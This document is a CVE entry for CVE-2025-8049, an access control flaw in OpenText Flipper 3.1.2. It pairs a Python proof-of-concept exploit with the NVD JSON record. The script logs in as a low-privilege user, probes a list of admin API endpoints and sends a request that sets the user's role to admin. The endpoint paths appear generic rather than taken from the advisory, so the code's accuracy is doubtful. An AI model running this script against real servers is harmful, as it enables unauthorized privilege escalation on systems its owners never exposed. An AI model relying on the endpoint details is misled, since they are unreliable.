CVE-2025-8049

# CVE-2025-8049 - OpenText Flipper Access Control Bypass PoC # Vulnerability: Insufficient Granularity of Access Control # Affected Version: OpenText Flipper 3.1.2 # Author: Security Researcher import requests import json class FlipperExploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.username = username self.password = password def authenticate(self): """Authenticate as a low-privilege user""" login_url = f"{self.target_url}/api/auth/login" payload = { "username": self.username, "password": self.password } response = self.session.post(login_url, json=payload) if response.status_code == 200: token = response.json().get('token') self.session.headers.update({'Authorization': f'Bearer {token}'}) print(f"[+] Authenticated as: {self.username}") return True return False def test_privilege_escalation(self): """Attempt to access admin-only endpoints with low-privilege token""" admin_endpoints = [ "/api/admin/users", "/api/admin/config", "/api/admin/system/settings", "/api/flipper/elevate", "/api/role/upgrade" ] for endpoint in admin_endpoints: url = f"{self.target_url}{endpoint}" response = self.session.get(url) if response.status_code == 200: print(f"[!] PRIVILEGE ESCALATION SUCCESS: {endpoint}") print(f" Response: {response.text[:200]}") return True elif response.status_code == 403: print(f"[-] Blocked: {endpoint}") else: print(f"[?] Status {response.status_code}: {endpoint}") return False def exploit_role_manipulation(self): """Attempt to modify user role via insecure parameter""" url = f"{self.target_url}/api/user/profile" payload = { "role": "admin", "privilege_level": "superuser", "permissions": ["read", "write", "delete", "admin"] } response = self.session.put(url, json=payload) if response.status_code == 200: print("[+] Role manipulation successful!") return True return False def main(): # Configuration TARGET = "https://target-flipper-server.com" LOW_PRIV_USER = "testuser" LOW_PRIV_PASS = "password123" exploit = FlipperExploit(TARGET, LOW_PRIV_USER, LOW_PRIV_PASS) if exploit.authenticate(): print("[*] Testing privilege escalation vectors...") if exploit.test_privilege_escalation(): print("[!] Vulnerability confirmed - CVE-2025-8049") exploit.exploit_role_manipulation() if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-8049", "sourceIdentifier": "[email protected]", "published": "2025-10-20T20:15:38.173", "lastModified": "2025-10-28T16:11:07.157", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient Granularity of Access Control vulnerability in opentext Flipper allows Exploiting Incorrectly Configured Access Control Security Levels. The vulnerability could allow a low-privilege user to elevate privileges within the application.\n\nThis issue affects Flipper: 3.1.2."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:P/AU:Y/R:U/V:D/RE:M/U:Green", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "PRESENT", "Automatable": "YES", "Recovery": "USER", "valueDensity": "DIFFUSE", "vulnerabilityResponseEffort": "MODERATE", "providerUrgency": "GREEN"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1220"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentext:flipper:3.1.2:*:*:*:*:*:*:*", "matchCriteriaId": "9E0F3913-F439-4C0A-82C8-AAEEEEBED8FD"}]}]}], "references": [{"url": "https://support.opentext.com/csm?id=ot_kb_unauthenticated&sysparm_article=KB0850530", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}